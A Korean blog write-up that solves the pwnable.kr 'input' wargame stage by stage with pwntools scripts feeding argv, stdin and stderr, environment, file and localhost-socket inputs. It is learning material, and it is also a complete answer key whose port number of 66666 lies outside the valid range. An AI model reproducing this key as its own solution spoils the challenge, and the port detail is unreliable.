본문 바로가기
wargame/pwnable.kr

[포너블] pwnable.kr 7 - input

by 아메리카노와떡볶이 2022. 2. 8.
728x90
pwnable.kr 7 - input

 

플래그를 얻기위해 5개의 stage를 통과해야한다

input2@pwnable:~$ ls
flag  input  input.c
input2@pwnable:~$ cat input.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
printf("Welcome to pwnable.kr\n");
printf("Let's see if you know how to give input to program\n");
printf("Just give me correct inputs then you will get the flag :)\n");

// argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
     return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;
}

 

한개씩 살펴보면서 단계별로 익스플로잇을 진행해보자.

stage 1

 // argv
if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

argc 는 인자의 개수를 의미한다. 즉 100개의 인자를 넣으란 소린데

./input a

이렇게 하나의 인자를 줘도 argc는 2다 왜냐하면 바이너리의 절대경로를 나타내는 값이 항상 argv[0]에 존재하기때문

즉 다시 말하면 99개의 인자를 주면 된다.

 

근데 여기서 argv['A'] 는 \x00 으로 argv['B]는 \x20\x0a\x0d 를 넣어야 stage1을 클리어할 수 있다.

 

로컬에서 인자를 줄 때

p = process(executable = '실행 파일', argv = ARGV)

  • 인자를 주고 싶을 경우 위와 같이 표현하며 executable = 는 필수로 적어야 한다.
  • 환경변수(env)와 표준에러(stderr)도 전달 가능하다.
  • argv는 리스트, env는 딕셔너리, stderr는 파일 형식으로 전달한다

따라서 stage1 에서는 실행파일의 경로는 /home/input2/input으로 주고

argv를 조건에 맞게 리스트로 작성해서 인자로 주면 될 것이다.

stage 1 exploit.py

from pwn import *


argv = [ 'A' for i in range(100) ]

argv[65] = '\x00'
argv[66] = '\x20\x0a\x0d'

p = process(executable='/home/input2/input', argv=argv)
p.recvuntil("flag :)\n")
print(p.recvuntil("clear!\n"))
p.interactive()

==================================================
input2@pwnable:/tmp/yeob$ python ex.py
[+] Starting local process '/home/input2/input': pid 253343
Stage 1 clear!

[*] Switching to interactive mode
$  

 

stage 2

// stdio
char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

코드를 보면 두개의 read 함수가 있다.

첫번째 read함수는 표준입력으로 buf에 4바이트를 입력받고 "\x00\x0a\x00\xff"와 비교한다.

따라서 버퍼에 \x00\x0a\x00\xff 를 입력하면 해결될 것이다

 

두번째 read함수에서는 표준에러에서 4바이트를 읽어서 buf에 넣고 그 값을 "\x00\x0a\x02\xff"와 비교한다.

따라서 표준에러에 "\x00\x0a\x02\xff" 을 넣으면 된다.

 

로컬에서 stderr에 내용을 쓸때는 파일형식으로 줘야하기때문에 파일에 표준에러 내용을 쓰고 stderr의 인자로 주자

stage 2 exploit.py

from pwn import *

#stage1
argv = [ 'A' for i in range(100) ]

argv[65] = '\x00'
argv[66] = '\x20\x0a\x0d'

#stage2
mystderr = open("mystderr","w")
mystderr.write("\x00\x0a\x02\xff")

mystderr = open("mystderr","r") #for stderr 

p = process(executable='/home/input2/input',stderr=mystderr, argv=argv)

p.recvuntil("flag :)\n")
print(p.recvuntil("1 clear!\n"))

#stage2 stdin
p.send("\x00\x0a\x00\xff")
print(p.recvuntil("2 clear!\n"))
p.interactive()

=====================================================================================

input2@pwnable:/tmp/yeob$ python ex.py
[+] Starting local process '/home/input2/input': pid 50254
Stage 1 clear!

Stage 2 clear!

stage2 까지 클리어

stage 3

// env
if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

다음은 환경변수에 대한 조건이다. 아까 처음 로컬에서 인자를 주는 방법을 얘기할 때 환경변수도 보낼 수 있다고 했었다. 환경변수는 딕셔너리 형식으로 보내게된다.

 

따라서 key: \xde\xad\xbe\xef 에 대한 value로 \xca\xfe\xba\xbe 를 주면 된다

 

stage 3 exploit

from pwn import *

#stage1
argv = [ 'A' for i in range(100) ]

argv[65] = '\x00'
argv[66] = '\x20\x0a\x0d'

#stage2
mystderr = open("mystderr","w")
mystderr.write("\x00\x0a\x02\xff")
mystderr = open("mystderr","r")

#stage3
myenv = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}
p = process(executable='/home/input2/input',stderr=mystderr, argv=argv,env=myenv)
p.recvuntil("flag :)\n") 
print(p.recvuntil("1 clear!\n"))
p.send("\x00\x0a\x00\xff")
print(p.recvuntil("2 clear!\n"))
print(p.recvuntil("3 clear!\n"))

p.interactive()

============================
input2@pwnable:/tmp/yeob$ python ex.py
[+] Starting local process '/home/input2/input': pid 210238
Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

 

 

stage 4 ~ 5

// file
FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

// network
int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
printf("socket error, tell admin\n");
return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
printf("bind error, use another port\n");
     return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
printf("accept error, tell admin\n");
return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

// here's your flag
system("/bin/cat flag");
return 0;

4-5 stage를 묶은 이유는 stage 4 는 stage 2 에서 했던거처럼 \x0a 에 \x00\x00\x00\x00 을 쓰기만 하면 된다

stage5에서는 소켓프로그래밍이 나오는데 이 부분은 잘몰라서 다른 라업을 참고했다.

 

argv[67]에 있는 값을 포트번호로 해서 소켓을 생성하고 데이터를 버퍼에 받아서 0xdeadbeef 와 비교한다

따라서 argv[67]에 포트번호를 넣어주고

소켓을 생성한 뒤에 0xdeadbeef를 send 해주면 된다.

 

아 그리고 플래그를 따기전에 심볼릭 링크를 걸어줘야한다. /tmp/yeob 에서 작업했기때문에 그냥은 플래그가 안뜸

 

최종 exploit

from pwn import *

#stage1
argv = [ 'A' for i in range(100) ]

argv[65] = '\x00'
argv[66] = '\x20\x0a\x0d'
argv[67] = '66666'
#stage2
mystderr = open("mystderr","w")
mystderr.write("\x00\x0a\x02\xff")
mystderr = open("mystderr","r")

#stage3
myenv = {'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'}

#satge4
l = open("\x0a","w")
l.write("\x00\x00\x00\x00")
l.close()

p = process(executable='/home/input2/input',stderr=mystderr, argv=argv,env=myenv)

p.recvuntil("flag :)\n")
print(p.recvuntil("1 clear!\n"))


p.send("\x00\x0a\x00\xff")
print(p.recvuntil("2 clear!\n"))
print(p.recvuntil("3 clear!\n"))
print(p.recvuntil("4 clear!\n"))

sleep(3)

soc = remote('localhost',66666)
soc.send('\xde\xad\xbe\xef')

print(p.recvuntil("5 clear!\n"))
p.interactive()

===================================
input2@pwnable:/tmp/yeob$ python ex.py
[+] Starting local process '/home/input2/input': pid 51245
Stage 1 clear!

Stage 2 clear!

Stage 3 clear!

Stage 4 clear!

[+] Opening connection to localhost on port 66666: Done
Stage 5 clear!
[+] Opening connection to localhost on port 66666: Done
Stage 5 clear!

[*] Switching to interactive mode
[*] Process '/home/input2/input' stopped with exit code 0 (pid 51245)
Mommy! I learned how to pass various input in Linux :)

끝!

728x90

'wargame > pwnable.kr' 카테고리의 다른 글

[포너블] pwnable.kr 9 - mistake  (0) 2022.02.18
[포너블] pwnable.kr 8 - leg  (0) 2022.02.08
[포너블] pwnable.kr 6 - random  (0) 2022.02.07
[포너블] pwnable.kr 5 - passcode  (0) 2022.02.07
[포너블] pwnable.kr 4 - flag  (0) 2022.02.07

댓글